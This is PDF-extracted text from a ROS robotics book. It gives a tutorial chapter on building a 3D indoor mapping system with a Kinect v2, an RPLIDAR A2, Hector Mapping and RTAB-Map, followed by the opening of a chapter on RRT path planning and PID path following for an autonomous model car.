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Abstract 
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for robotics applications, as well as the latest trends and contributed systems. The book is divided into four parts: 
Part 1 features two papers on navigation, discussing SLAM and path planning. Part 2 focuses on the integration of 
ROS into quadcopters and their control. Part 3 then discusses two emerging applications for robotics: cloud 
robotics, and video stabilization. Part 4 presents tools developed for ROS; the first is a practical alternative to the 
roslaunch system, and the second is related to penetration testing. This book is a valuable resource for ROS users 
and wanting to learn more about ROS capabilities and features. 
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A Guide for 3D Mapping with Low-Cost
Sensors Using ROS

David Portugal, André Araújo and Micael S. Couceiro

Abstract Open source software and low-cost sensors bring unquestionable advan-

tages to the robotics community, facilitating the access to a wide range of robotic

applications to virtually anyone, and playing an important role in recent advances.

With the progressive overthrown of the cost barrier, development of robotic solu-

tions has become more widespread among our society, as witnessed by the increase

of service robotic applications to consumers. Despite the ease of access to low-cost

sensors nowadays, knowledge of sensor integration and robotics middleware is still

imperative to design successful robotic solutions. In this tutorial chapter, we provide

an educational guide that leverages open source tools, such as the Robot Operating

System (ROS), and low-cost sensors, such as the Microsoft Kinect v2, to design a

full 3D indoor Mapping system. The ultimate goal of the system is to create a com-

prehensive and detailed 3D map of any indoor environment. Besides going through

all the key steps to setup such a system and presenting interactive results, we also

provide an experimental dataset that we hope can be useful to the community in the

future.

Keywords Educational robotics · Open source software · Low-cost sensors ·

3D Mapping

1 Introduction

The market of sensors for robotics is changing: precisions sensors for robotic appli-

cations, such as time-of-flight (TOF) cameras, laser range finders (LRFs) or Inertial

Measurement Units (IMUs) used to be only available to some companies and/or
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4 D. Portugal et al.

robotics institutes, due to their high cost. In recent years, there has been an evi-

dent effort to provide low-cost sensory alternatives to replace traditionally expensive

sensors, thanks to the vision of a rising number of robotic companies leading to

an increased investment in robotics worldwide, which has been crucial in bringing

service robots closer to the consumer.

Additionally, open source projects such as the Arduino electronics platform [1],

OpenCV [2] or the MORSE and Gazebo simulators [3] have been fundamental for

educational robotics, significantly helping roboticists to get started. In this realm,

one of the most important steps is the wide take-up of a quasi-standard robotics

middleware: the Robot Operating System (ROS1). Nowadays, most research robots

run ROS, and its adoption is continuously growing in the industry. ROS has a peer-

to-peer, modular, tools-based, free and open source nature [4], allowing software

developers to create robotic applications in a quick and easy way. Moreover, ROS is

a language-independent framework, which provides hardware abstraction, low-level

device control, implementation of commonly-used functionalities, message-passing

between processes and package management. ROS promotes code reuse with dif-

ferent hardware, providing a large amount of libraries available for the community,

like laser-based 2D SLAM2 [5], 3D point cloud based object recognition [6], Adap-

tive Monte Carlo [7] and Extended Kalman Filter localization [8], robot navigation

software [9], manipulation libraries [10], serial communication [11] among others,

as well as tools for 3D visualization (rviz), recording experiments and playing back

data offline (rosbag), and more. Due to its several features, ROS is currently used

worldwide, having regular updates and broad community support, which enables the

users to obtain, build, write, test and run ROS code. Clearly, integrating robots and

sensors in ROS is highly beneficial.

In this work, we provide an educational guide for setting up a system that anyone

can use to build comprehensive and detailed 3D maps of indoor environments. The

proposed system takes advantage from open source tools, such as ROS, two open

source mapping algorithms that have also been integrated in ROS (RTAB-Map and

Hector Mapping), as well as two widely available low-cost sensors (Microsoft Kinect

v2 and Slamtec RPLIDAR A2). Next, we overview seminal work on 3D mapping

approaches, and existent solutions in ROS for building comprehensive 3D maps

with diverse sensors. We then present the sensors and algorithms used in this tutorial

chapter, and we will focus on the system functionality in what remains, guiding the

user towards creating a low-cost 3d indoor mapping system based on ROS. We also

provide a dataset for those who do not have access to similar sensors to test the

approach proposed, and we finish the chapter with conclusions and future work.

1http://www.ros.org.
2SLAM stands for the well-known Simultaneous Localization And Mapping problem.
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2 Background

Building precise 3D maps is useful for several practical applications and it is consid-

ered a fundamental task in Robotics. Mapping may be crucial to acquire precise local-

ization, or to support other robotic tasks, be it indoor, e.g. mobile manipulation [12],

patrolling and coverage [13], people detection [14], human-robot interaction [15],

or outdoor tasks, e.g. search and rescue [16], humanitarian demining [17], recon-

naissance and exploration [18], UAV surveying [19], structure reconstruction [20],

etc.

Initial work in robotic 3D mapping focused on 3D reconstruction of unknown envi-

ronments using data acquired by panning and/or tilting Laser Range Finders [21], and

stereo cameras [23]. The main focus was placed in configuring and tracking the sen-

sors to acquire depth data while precisely estimating sensor’s motion, also applying

geometrical corrections, and devising efficient methods for registering and match-

ing consecutive sensor data to reconstruct the environment through the extraction of

geometrical features from range sensing.

In [22], a robot is equipped with a forward-looking laser for concurrent mapping

and localization in 2D, and an upward-pointed laser to build a 3D map of the environ-

ment. The approach filters outliers based on distance to generate compact 3D maps,

and a simplification process is used for real-time rendering by fusing look-alike poly-

gons, thus reducing complexity. A low cost 3D laser range finder system is proposed

in [24], by controlling a 2D range finder with a servo motor. A digital camera for

texture mapping is mounted on top of the laser range finder. While rotating, several

pictures are taken so that texture mapping can be applied.

Following these initiatives, several authors moved to 3D model construction and

mapping in outdoor environments by matching aerial photographs with ground level

laser scans via Markov localization [25], or combining dual laser systems for 3D

data collection [26, 27]. Moreover, Extended Kalman Filter (EKF) techniques for

3D positioning tracking have also been applied for 3D environment reconstruction

in diverse works using rotating laser-scanning setups [29, 30]. These works place

important focus on data acquisition, surface segmentation, feature extraction, point

cloud registration and fusion, and the state model for localization. A generated 3D

reconstruction of an office environment in [30] is illustrated in Fig. 1a.

Rocha et al. [31] proposed building 3D volumetric maps using cooperative mobile

robot teams equipped with stereo-vision range sensors. The problem is addressed

using a probabilistic approach based on information theory. Robots cooperate through

efficient information sharing, and an explicit representation of uncertainty is defined

via the maps entropy. A volumetric map obtained in [31] is presented in Fig. 1b. Using

a similar principle, an Entropy Minimization SLAM system for creating dense 3D

visual maps of underwater environments is proposed in [32]. The approach exploits

dense information coming from a stereo system, and performs robust ego-motion

estimation and global-rectification.

Full 6DoF SLAM has been studied more recently [33, 34]. In these works, the

authors focus on estimating the 6 degrees-of-freedom (DoF) pose, namely the three

akoubaa@coins-lab.org



6 D. Portugal et al.

(a) (b)

Fig. 1 Examples of generated 3D representations. a Reconstructed office by Weingarten and Sieg-
wart [30]. b Volumetric map by Rocha et al. [31]

Cartesian coordinates and the three Euler angles. Precise Iterative Closest Point

(ICP)-based scan matching and efficient simplification methods (e.g. Taylor expan-

sion and Cholesky decomposition) are proposed to deal with the complexity and

resulting non-linearities of these approaches, leading to globally consistent 3D rep-

resentations of outdoor areas. Additionally, a robust 3D SLAM system applicable

to non-textured environments is proposed in [35], based only on a stereo camera.

By aligning edge points between frames via the ICP algorithm, the system is able to

reliably build detailed 3D maps even under noisy conditions.

Initial work with time-of-flight (ToF) cameras focused on the fusion of low

resolution data from Photonic Mixing Devices (PMD) with high resolution RGB

images [36, 37] to generate appropriate depth maps. These approaches allowed

overcoming the limitations of the first generation of ToF cameras, such as noisy

readings, poor performance on textured scenes, low resolution, restricted field of

view (FoV), and lack of colored information. Following these initial works, several

authors equipped robots with ToF cameras for pose estimation, 3D perception and

map building [38–40], proposing different calibration and filtering techniques, as

well as ego motion estimation approaches and data fusion with stereo or spherical

cameras, even endowing robots with planar mirrors to overcome the limited FoV of

ToF cameras [41].

With the boom of motion sensing devices, such as the Microsoft Kinect or the Asus

Xtion, RGBD cameras became easily available for roboticists worldwide, and several

approaches for 3D mapping using these cameras were presented [42, 43]. These

works provide full 3D mapping systems, estimating the camera’s motion through

spacial features and pose optimization, thus generating occupancy voxel grid models

that are globally consistent. The wide availability of RGBD cameras also allowed

to build 3D maps using UAVs [44] and ground robots [45]. Moreover, Hornung

et al. [46] proposed a key contribution for the 3D mapping literature, by presenting

a method to keep compact 3D volumetric models, called OctopMap. The approach

is based on octrees for spatial subdivision in 3D and uses probabilistic occupancy

akoubaa@coins-lab.org
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estimation, allowing to update the representation efficiently and modeling the data

consistently, while keeping the memory requirements low.

ROS supports many 3D mapping systems, such as RGBD-SLAM [47],3 Octomap

Mapping [46],4 ORB-SLAM2 [48],5 LSD-SLAM [49],6 ETHZ ASL ICP Map-

ping [50],7 Carthographer [51],8 HDL Graph SLAM [52],9 LOAM [53],10 or

DSO [54].11 In the next section, we present the low-cost sensors and 3D mapping

approach used in this guide.

3 Preliminaries

Microsoft Kinect v2 (a.k.a. Kinect One),12 illustrated in Fig. 2a is a motion sensor

priced at around $149. It was originally developed by Microsoft to enable users to

interact with their console/computer through a natural user interface using gestures

and spoken commands. The Kinect v2 quickly became popular in robotics, due to

its ability to acquire accurate colored and depth (RGB-D) images at high rates [55],

allowing robot applications in which dense and robust 3D representations of the

environment could be created. The sensor provides a 70.6◦
× 60.0◦ horizontal and

vertical field of view (FOV), with an angular resolution of 0.14◦/px and an operating

range between 0.5 and 4.5 m. For instance, the Kinect v2 is used to interact with

a service robot using gestures in [56], and it is used for mapping an indoor space

in [57].

Slamtec RPLIDAR A2 is a laser range scanner,13 illustrated in Fig. 2b, and currently

priced at around $449. Besides its low cost when compared to other LRF solutions

in the market, the RPLIDAR A2 features an impressive FOV of 360◦, with an angular

resolution of 0.9◦, and a scanning frequency that can be adjusted between 5 and

20 Hz. The effective range of the sensor is 6 m with a distance resolution below

0.5 mm. The sensor has been gaining interest in the field of robotics, being used for

instance for autonomous navigation of aerial indoor vehicles [58] or for obstacle

avoidance of ground robots [59].

3http://wiki.ros.org/rgbdslam.
4http://wiki.ros.org/octomap.
5https://github.com/ethz-asl/orb_slam_2_ros.
6https://github.com/tum-vision/lsd_slam.
7http://wiki.ros.org/ethzasl_icp_mapper.
8http://wiki.ros.org/cartographer.
9https://github.com/koide3/hdl_graph_slam.
10https://github.com/daobilige-su/loam_velodyne.
11https://github.com/JakobEngel/dso_ros.
12https://www.xbox.com/xbox-one/accessories/kinect.
13https://www.slamtec.com/en/Lidar/A2.
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(a) (b)

Fig. 2 Sensors used in the 3D indoor Mapping system of this work. a Kinect v2. b RPLIDAR A2

RTAB-Map (Real-Time Appearance-Based Mapping)14 is a very promising RGB-

D Graph-Based SLAM approach developed by Labbé and Michaud [60, 61], which

uses a global Bayesian loop closure detector. According to the authors, the loop

closure detector uses a bag-of-words approach to determinate how likely a new

image comes from a previous location or a new location. RTAB-Map detects fea-

tures using the GoodFeaturesToTrack (GFTT) approach by default [62], which eases

parameter tuning, enabling uniformly detected features across different image size

and light intensity. Alternatively, RTAB-Map supports all features types available in

OpenCV [63], such as SIFT, SURF, ORB, FAST or BRIEF. A graph optimizer mini-

mizes the errors in the map when new constraints are added, and an efficient memory

management approach is used to fulfill real-time constraints in large environments.

In this work, we will make use of RTAB-Map for ROS15 to build a 6DoF RGB-D

map with the Kinect v2 sensor.

Hector Mapping [64] is a 2D SLAM system based on robust laser scan matching.

The estimation of the robot movement in real-time makes use of the high update

rate and the low distance measurement noise from modern Light Detection And

Ranging (LIDAR) sensors, like the RPLIDAR A2. The 2D pose estimation is based

on optimization of the alignment of beam endpoints with the map obtained so far.

The endpoints are projected in the actual map and the occupancy probabilities are

estimated. Scan matching is solved using a Gaussian-Newton equation, which finds

the rigid transformation that best fits the laser beams with the map. In addition, a

multi-resolution map representation is used, to avoid getting stuck in local minima.

In this work, we will make use of Hector Mapping for ROS16 with the RPLIDAR A2

to provide an accurate estimate of motion in the world.

For consistent indoor mapping of a 3D space, RTAB-Map needs to be fed with an

odometry estimation, i.e. an estimation of the motion between the mapping instances.

This can be done by computing visual odometry using solely RTAB-map with the

Kinect v2. However, our experience shows that the laser-based motion estimation

provided by Hector Mapping with the RPLIDAR A2 is much more reliable, thus we

will use the Hector-generated odometry to feed RTAB-Map in this work.

14http://introlab.github.io/rtabmap.
15http://wiki.ros.org/rtabmap_ros.
16http://wiki.ros.org/hector_mapping.
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The Hector/RTAB-map combination has several advantages over the aforemen-

tioned approaches mentioned in Sect. 2. Besides allowing the use of low cost sensors

for a full 3D indoor mapping solution, this approach provides a widely available and

tested ROS implementation, only needing a few integration steps. Moreover, it has

proved performance, as confirmed later in Sect. 6.

In the next section, we start our educational guide by presenting the requirements

and basic installation instructions. We will then go through the key steps to run the

system, using an illustrative experimental setup and a previous recorded dataset. We

later present the main results and discussion, and we finish the paper with conclusions

and future work.

4 Requirements and Basic Installation

To install and run the proposed system, we will assume that the reader has basic Linux

and ROS knowledge, especially regarding ROS launch XML files,17 Transforms,18

and basic understanding of how RTAB-Map and Hector Mapping work. We also

assume that a PC and the two sensors are available, interconnected as presented in

Fig. 3. Please follow carefully the installation process of all the open source tools:

1. Install the latest Ubuntu 16.04 Linux OS LTS Version, available at:

http://ftp.dei.uc.pt/pub/linux/ubuntu/releases/16.04

2. After installing the OS, install the Ubuntu updates by typing in the terminal:

$ sudo apt upgrade

3. Install ROS Kinetic Kame, following the instructions at:

http://wiki.ros.org/kinetic/Installation/Ubuntu

4. Setup your ROS catkin workspace, by typing in the terminal:

$ mkdir -p ∼/catkin_ws/src
$ cd ∼/catkin_ws
$ catkin_make
$ source devel/setup.bash

open your bash configuration file (at /home/$USER/.bashrc):

$ gedit ∼/.bashrc

and add the following two lines at the end:

source ∼/catkin_ws/devel/setup.bash
export ROS_WORKSPACE=∼/catkin_ws

17http://wiki.ros.org/roslaunch/XML.
18http://wiki.ros.org/tf.
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12V19V

Lead-Acid Battery

(7A, 12V) 

12V

Step Up

(12V → 19V) 
NUC mini-PCRPLIDAR A2

Kinect v2 Kinect Power Adapter

Kinect USB 3.0 

Adapter

Fig. 3 Connection between the modules of the experimental setup

5. To support the Kinect v2 sensor, follow the instructions at https://github.com/

code-iai/iai_kinect2 (steps 3, 4 and 5) to install libfreenect2 with C++11

support for Linux, and the iai_kinect2 ROS driver in your workspace.

6. Install the RPLIDAR A2 ROS Driver, Hector Mapping and RTAB-Map by typing

in the terminal:

$ sudo apt install ros-kinetic-rplidar-ros ros-
kinetic-hector-mapping ros-kinetic-rtabmap-ros

Your installation of the system is now finished.

5 Running the System

We will start by connecting the sensors, and then launch the software. In case the

reader is not able to run the system for any reason, e.g. no access to the sensors, we

also provide a ROS bag dataset, which can be used to run the software offline.

5.1 Connecting the Sensors and Exposing Them to ROS

In Fig. 4 we present our experimental setup. We have used a pushcart base to drive

the sensors around, a lead-acid battery powering the Kinect v2 and the NUC mini-

PC, which runs Ubuntu and ROS. The Kinect 2 is connected to the PC using a USB

3.0 port, and the RPLIDAR A2 can be powered by any USB port of the PC. Using

a similar setup to the one described here, please follow these steps to expose sensor

data into ROS:

akoubaa@coins-lab.org
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(a) (b)

Fig. 4 Experimental setup for 3D indoor mapping. a Real experimental setup. b Visualization in
rvi z

1. Run the RPLIDAR A2 ROS driver, by typing in the terminal:

$ roslaunch rplidar_ros rplidar.launch

In case you run into errors, or the RPLIDAR A2 scans do not get published in

the /scan topic, then something is wrong with your permissions to access the

sensor. Please check the RPLIDAR A2 wiki19 to fix this by creating a proper udev

rule in your system.

2. Run the Kinect v2 ROS driver and publish its internal transforms, by typing in

the terminal:

$ roslaunch kinect2_brige kinect2_bridge.launch
publish_tf:=true

3. Prepare the static transform between the RPLIDAR A2 and Kinect 2, which will

allow the system to know the pose of the sensors relative to each other at all times.

For this, please create a new ROS package (let us call it rtabmap_utils), and

add a new launch file inside it, which we will call static_tfs_kinect2_
rplidar.launch with the content of Fig. 5.

We have prepared a ready-to-use version of the package rtabmap_utils for

the reader’s convenience.20 Please be aware that the first static transform should

be changed to fit the reader’s particular setup, namely the translations and orien-

tations of the sensors relative to each other. The second static transform is simply

used to create a new link that rotates the Kinect v2 frame of reference, which uses

the z axis as the depth axis, and changing it to become the vertical axis, which is

the common convention.

4. We can now run the static transforms, by typing in the terminal:

19https://github.com/robopeak/rplidar_ros/wiki.
20https://github.com/ingeniarius-ltd/rtabmap_utils.
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<!-- static tfs kinect2 rplidar.launch:

Static TFs between Kinect2 and RPLIDAR A2 Laser -->

<launch>

<!-- Adjust the transformation between your kinect2 and the RPLIDAR

laser -->

<!-- In a perfect aligned world, ypr would be: "-1.57 0.0 -1.57" -->

<node pkg="tf" type="static transform publisher" name="static tf kinect2

rplidar" args="0.125 0.09 -0.08 -1.5 0.0 -1.34 laser kinect2 link 100"

respawn="true"/> <!-- 10Hz -->

<!-- Do not change. Align "kinect2 laser link" with "laser" by inverting

the axis of "kinect2 link" -->

<node pkg="tf" type="static transform publisher" name="static tf kinect2

inverted link" args="0.0 0.0 0.0 1.57 -1.57 0.0 kinect2 link

kinect2 laser link 100" respawn="true"/> <!-- 10Hz -->

</launch>

Fig. 5 Static transform between the RPLIDAR A2 and Kinect 2 links, and inversion of the Kinect

v2 link

<!-- run kinect and rplidar.launch:

Launch Kinect2 and RPLidar A2 with Static TFs -->

<launch>

<!-- Kinect2 ROS Driver -->

<include file=" (find kinect2 bridge)/launch/kinect2 bridge.launch">

<arg name="publish tf" value="true" />

</include>

<!-- RPLIDAR A2 Driver -->

<include file=" (find rplidar ros)/launch/rplidar.launch"/>

<!-- Needed Static TFs between the sensors -->

<include file=" (find rtabmap utils)/launch/static tfs kinect2 rplidar

.launch"/>

</launch>

Fig. 6 Running the Kinect v2, RPLIDAR A2 and the static transforms in a single ROS Launch file

$roslaunch rtabmap_utils static_tfs_kinect2_rplidar.
launch

5. To run everything together (drivers and transforms) we can create another launch

file, which we will call run_kinect_and_rplidar.launch, with the con-

tent of Fig. 6. We can call this by typing in the terminal:

$ roslaunch rtabmap_utils run_kinect_and_rplidar.
launch
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5.2 Running the Software

Now that the sensors’ data are being published in ROS, it is time to run the two

algorithms: Hector Mapping to extract a consistent odometry estimation that will

feed RTAB-Map, which in turn will create the 3D representation of the environment.

We have prepared yet another launch file, called rtabmap.launch with the

content of Fig. 7. There are several important aspects in this launch file that are

worth mentioning. Firstly, we set the pub_map_scanmatch_transform and

the pub_odometry parameters of Hector Mapping to true to generate the

intended odometry estimates extracted by matching consecutive laser scans. We

also instruct Hector Mapping to acquire scan data in the topic /scan which is pub-

lished by the RPLIDAR A2 driver. On the RTAB-Map side of things, we remap the

odometry input topic to /scanmatch_odom, which is where the Hector Mapping

algorithm publishes the odometry information. Moreover, we also remap the input

RGB image, Depth image and camera information topics to the ones published by

the Kinect v2 driver, thus appropriately feeding RTAB-Map with information coming

from the Kinect v2. For detailed information on the available parameters for each

algorithm, the interested reader should refer to the ROS Wiki.21,22,23

Besides the two algorithms, we also run rviz—the ROS visualization tool24—to

analyze the data and troubleshoot.

To start the system, assuming that run_kinect_and_rplidar.launch is

already running (step 5 in Sect. 5.1), we just have to type the following command in

a new terminal:

$ roslaunch rtabmap_utils rtabmap.launch

A new window with rviz will pop up, and you should see something similar to

Fig. 8. You are now ready to map the environment.

5.3 Running the Software from a ROS Bag Dataset

In our experimental setup (cf. Fig. 4), we have used a pushcart with the sensors

mounted on top, and we have pushed the cart to map a large indoor area with a long

corridor. In case the reader does not have access to a similar setup, we have recorded

our sensor data into a ROS bag dataset, which can be played back in ROS. In the

next lines, we provide the instructions to run the software on top of our dataset. For

this task you will need at least 30 GB of free space in your system, and the first three

steps may take a fair amount of time:

21http://wiki.ros.org/hector_mapping#Parameters.
22http://wiki.ros.org/rtabmap_ros#Parameters.
23http://wiki.ros.org/rtabmap_ros/Tutorials/Advanced%20Parameter%20Tuning.
24http://wiki.ros.org/rviz.
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<!-- rtabmap.launch:

Launch RTAB-map with Kinect2 and RPLidar A2 -->

<launch>

<!-- Image resolution of the Kinect2 to process: sd, qhd, hd -->

<arg name="resolution" default="qhd" />

<!-- Fixed frame id-->

<arg name="frame id" default="laser" />

<!-- Hector SLAM to get ScanMatching Odometry -->

<node pkg="hector mapping" type="hector mapping" name="hector mapping"

output="screen">

<param name="map frame" value="hector map" />

<param name="base frame" value="laser" />

<param name="odom frame" value="odom" />

<param name="tf map scanmatch transform frame name" value="laser" />

<param name="pub map odom transform" value="false" />

<param name="pub map scanmatch transform" value="true" />

<param name="pub odometry" value="true" />

<param name="map resolution" value="0.05" />

<param name="map size" value="2048" />

<param name="map multi res levels" value="2" />

<param name="map update angle thresh" value="0.06" />

<param name="scan topic" value="scan" />

</node>

<!-- RTAB-Map: get a consistent 3D Map fed by the Hector odometry -->

<group ns="rtabmap">

<node pkg="rtabmap ros" type="rtabmap" name="rtabmap" output="screen"

args="--delete db on start">

<param name="subscribe depth" value="true" />

<param name="subscribe scan" value="true" />

<param name="frame id" value=" (arg frame id)" />

<param name="cloud decimation" value="2" />

<param name="cloud max depth" value="5.0" />

<param name="cloud voxel size" value="0.01" />

<param name="map cleanup" value="false" />

<remap from="rgb/image" to="/kinect2/ (arg resolution)/

image color rect" />

<remap from="depth/image" to="/kinect2/ (arg resolution)/

image depth rect" />

<remap from="rgb/camera info" to="/kinect2/ (arg resolution)/

camera info" />

Fig. 7 ROS Launch file for running RTAB-map and Hector Mapping with a Kinect v2 RGB-D
sensor and a RPLIDAR A2 laser range scanner
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<remap from="scan" to="/scan"/>

<remap from="odom" to="/scanmatch odom"/>

<param name="approx sync" value="true" />

<param name="Reg/Strategy" value="1" />

<param name="Vis/MaxDepth" value="8.0" />

<param name="Vis/InlierDistance" value="0.1" />

<param name="Optimizer/Slam2D" value="true" />

<param name="Reg/Force3DoF" value="true" />

</node>

</group>

<!-- Visualization in rviz -->

<node pkg="rviz" type="rviz" name="rviz" args="-d (find

rtabmap utils)/rviz configs/kinect rtabmap with hector.rviz" />

<node pkg="nodelet" type="nodelet" name="points xyzrgb" args="load

rtabmap ros/point cloud xyzrgb standalone nodelet">

<remap from="rgb/image" to="data odom sync/image" />

<remap from="depth/image" to="data odom sync/depth" />

<remap from="rgb/camera info" to="data odom sync/camera info" />

<remap from="cloud" to="voxel cloud" />

<param name="voxel size" value="0.01" />

</node>

</launch>

Fig. 7 (continued)

Fig. 8 Starting the system, and visualization in rviz
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1. Download the bag dataset from:

https://goo.gl/c4e8BS

2. Decompress the bag dataset, by typing in the terminal:

$ rosbag decompress kinect+rplidar_bz2.bag

3. Move the bag file to the rtabmap_utils package and rename it:

$ mv kinect+rplidar_bz2.bag ∼/catkin_ws/src/rtabmap_
utils/kinect+rplidar.bag

4. We will now create a launch file to run the software on top of the sensor data

being published in the ROS bag dataset. To this end, create a copy of the

rtabmap.launch and rename it tortabmap_with_bag.launch, by typ-

ing in the terminal:

$ roscd rtabmap_utils/launch
$ cp rtabmap_launch rtabmap_with_bag.launch

5. Add the following line after the <launch> tag in rtabmap_with_bag.
launch:

<param name="use_sim_time" value="true" />

to inform ROS that we will be using simulated (past) time.

Now add the following line to run the ROS bag dataset from the launch file, which

will publish a clock with the timestamps of the recorded data25:

<node pkg="rosbag" type="play" name="rosbag_play" args="$(find
rtabmap_utils)/kinect+rplidar.bag --clock"output="screen"/>

6. Finally launch the file created to run the 3D indoor mapping algorithm on top of

the dataset:

$ roslaunch rtabmap_utils rtabmap_with_bag.launch

Again, a new window with rviz will pop up (similarly to Fig. 8) and you will see

the environment in the dataset being progressively mapped.

6 Results and Discussion

In Fig. 9, we illustrate some results of the 3D map built using our experimental setup

and the approach described in this paper. As can be seen in the pictures and the

video of the experiment, the system is able to build a consistent and detailed 3D map

of the environment, without ever losing track of the sensors’ pose. In Fig. 10, we

present the coordinate frames that are used in ROS and their relation, while running

the system. Note that /map is the global frame used for building the 3D map,

25This will replace step 5 in Sect. 5.1 by publishing sensor data and the transforms.
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Fig. 9 Illustrations of the 3D map in different areas of the building. Full video available at: https://
www.youtube.com/watch?v=MlrcTyXy5No

while /hector_map corresponds to the frame where Hector Mapping provides

the odometry information that feeds RTAB-Map.

Furthermore, it is possible to save the 3D map into Point Cloud data formats, such

as PCD or PLY, to be opened by external applications, like Meshlab.26 In order to do

so, one simply has to run the following commands in the terminal at the end of the

experiment to get a PCD file:

$ rosrun pcl_ros pointcloud_to_pcd input:=rtabmap/
cloud_map
$ rosservice call /rtabmap/publish_map 1 1 0

and another command to convert the PCD file into a PLY file (if needed):

$ pcl_pcd2ply <input_file>.pcd <output_file>.ply

26http://www.meshlab.net.

akoubaa@coins-lab.org



18 D. Portugal et al.

kinect2_link

kinect2_rgb_optical_frame

Broadcaster: /play_1516643473548391540
Average rate: 99.166 Hz

Most recent transform: 1484305948.344 ( -0.003 sec old)
Buffer length: 4.951 sec

kinect2_laser_link

Broadcaster: /play_1516643473548391540
Average rate: 10.199 Hz

Most recent transform: 1484305948.376 ( -0.035 sec old)
Buffer length: 4.804 sec

kinect2_ir_optical_frame

Broadcaster: /play_1516643473548391540
Average rate: 99.166 Hz

Most recent transform: 1484305948.344 ( -0.003 sec old)
Buffer length: 4.951 sec

laser

Broadcaster: /play_1516643473548391540
Average rate: 10.200 Hz

Most recent transform: 1484305948.380 ( -0.039 sec old)
Buffer length: 4.804 sec

map

hector_map

Broadcaster: /rtabmap/rtabmap
Average rate: 20.241 Hz

Most recent transform: 1484305948.399 ( -0.058 sec old)
Buffer length: 4.891 sec

Broadcaster: /hector_mapping
Average rate: 10.673 Hz

Most recent transform: 1484305948.238 ( 0.102 sec old)
Buffer length: 4.872 sec

Fig. 10 View of the coordinate frames in our ROS system

7 Conclusions and Future Work

It is our belief that robotics should be accessible to all, and innovation and advance-

ments do not necessarily come only from the robotics research community, but also

from the potential of hobbyists and the Do It Yourself (DIY) community, when pro-

vided with the right tools. For this reason, this paper presents a thorough educational

guide that benefits from open source software and low-cost sensors, below the $500

price tag, for building a consistent 3D map of the environment, as the main application

target.

We provide this educational guide in the hope that it can be useful for learn-

ing/teaching robotics, and to get more acquainted with ROS, existing perception

sensors such as RGB-D cameras and LRFs, SLAM algorithms and open source

projects in general. Furthermore, we provide a large dataset with sensor data, allow-

ing anyone without access to these sensors to build their work on top of them, which

can be used for mapping, as well as localization algorithms, scene and object detec-

tion and recognition, and much more.
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In the future, we have plans to provide a similar dataset with several more sen-

sors, by adding two more laser range finder devices (Hokuyo URG-04LX and SICK

LMS500), and two additional RGB-D cameras (Orbbec Astra and Stereolabs ZED),

allowing for direct comparison of the sensors under the same conditions.
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Path Planning and Following
for an Autonomous Model Car Using
an “Eye in the Sky”

Rodrigo Rill-García, Jose Martinez-Carranza, Edgar Granados

and Marco Morales

Abstract Autonomous driving is a trend topic that is enabled by communication
between devices. Under this scope, ROS is a useful tool for running multiple pro-
cesses in a graph architecture, where each node may receive and post messages that
are consumed by other nodes for their own needs. In this tutorial chapter we discuss a
solution for autonomous path planning using a Randomized Random Tree (RRT) and
a simple control scheme based on PIDs to follow that path. The control uses internal
sensors and an external camera that works as an “eye in the sky”. This is imple-
mented with the help of ROS version 1.12.13 using the Kinetic distribution. Results
are validated using the Gazebo multi-robot simulator, version 7.0.0. The robot model
used corresponds to the AutoNOMOS mini developed by PHD Raúl Rojas, while the
“eye in the sky” is an artificial simple RGB camera created in Gazebo for research
purposes. The Rviz package is used to monitor the simulation. The repository for
this project can be found at https://github.com/Sutadasuto/AutoNOMOS_Stardust.
(The original model for the AutoNOMOS mini was retrieved from https://github.
com/EagleKnights/EK_AutoNOMOS_Sim).
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1 Introduction

Autonomous driving is a subject of research interest which has produced results that
have already been applied in successful commercial products (such as the Uber self-
driving cars). Reliability and security are important issues for this kind of systems
that need to be addressed.

An important requirement in robotics is the communication and cooperation
between devices. Under this scope, ROS is a user-friendly robotic middleware for
the large-scale integration of devices to build robotic systems.

This chapter takes this concept in order to suggest an alternative for the current
autonomous driving paradigms where only on-board information is used for naviga-
tion. The key idea consists in creating communication with an aerial camera or “eye
in the sky” (which in real-life scenarios can be provided by one or many drones) to
provide the vehicle additional information about its context, thus improving three
specific tasks: path planning, path following, and obstacle avoiding. Although this
project focuses on a car-like robot, it is important to notice that these tasks can be
translated to any mobile autonomous system such as domestic robots or industrial
transport robots, where the aerial camera condition can be easily satisfied.

To summarize, the current chapter provides the reader a useful platform to test path
planning and following algorithms for car-like robots. Particularly, we will discuss
the next topics:

– A brief discussion of Rapidly-Exploring Random Trees (RRT) for path planning
with nonholonomic robots using RGB images as occupancy maps

– A brief discussion on PID controllers for path following using RBG images as the
source of closed-loop feedback

– Creating and using worlds for Gazebo
– Creating a RGB camera for Gazebo, including a plugin for publishing to ROS

topics
– Getting pose data from Gazebo via ROS topics
– Sending markers to Rviz to display 3D shapes, 3D points, and lines, as well as

tracking a robot in the generated map
– Translating XY coordinates from an image to real-scale 3D points useful for dis-

play

2 Background

The Rapidly-expanding Random Tree algorithm (RRT) [1] is designed to efficiently
search high-dimensional spaces by randomly building a space-filling tree. When
it comes to planning a path for a nonholonomic system such a car, the physical
constrains of the system are accounted for in the local planner used for the expansion
of the tree.
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In this work, we have three controllers available to deal with nonholonomic con-
strains. At each iteration of the algorithm, one of these three controllers is chosen at
random to expand the tree to a random new node. These controllers are:

– Straight forward steering
– Left steering
– Right steering

In the Straight forward steering controller, a random distance is gotten. Using
this distance, a line of that length is drawn from the current position of the vehicle;
however, the first part of that line must be tangent to the car’s current yaw orientation,
to ensure viability of the proposed path. The simplest case from the list is the first
one, as a straight line of length L with a slope equivalent to the robot’s orientation is
drawn.

The Left steering and Right steering controllers are equivalent to each other, but
mirrored. In these cases, in addition to the random distance, a random radius is
calculated. This is because an arc will be drawn instead of a straight line; thus, we
need the center of the circle and the angle of the portion of the circumference in
which the arc is inscribed.

For the three controllers described above, the expected orientation of the vehicle
at the end of the proposed line is the angle corresponding to the tangent line of
the circle at that point (in the case of the straight line, it is considered for practical
purposes as an arc from a circle with infinite1 radius).

This generation of random lines is executed over and over until the goal is reached.
However, two major considerations should be made:

– All these lines are drawn with respect to the local coordinate system of the car;
therefore, they should be later translated to the global system.

– Collision detection is performed by testing intersection between lines and obstacles
in the occupancy map. Thus, lines in collision are discarded.

Once the path is planned, the next task is to follow it. For this purpose, the
car provides control over two Degrees Of Freedom (DOF): velocity and steering.
Under this scheme, three different PID controllers were implemented in parallel:
two for the steering, and one for velocity. PID stands for Proportional, Integral and
Derivative, and those terms are used in a formula like this: control_signal = K p ∗

e + Ki ∗
∫

t
e + Kd ∗

de
dt

, where the K s are tuned by the user, and e is the error
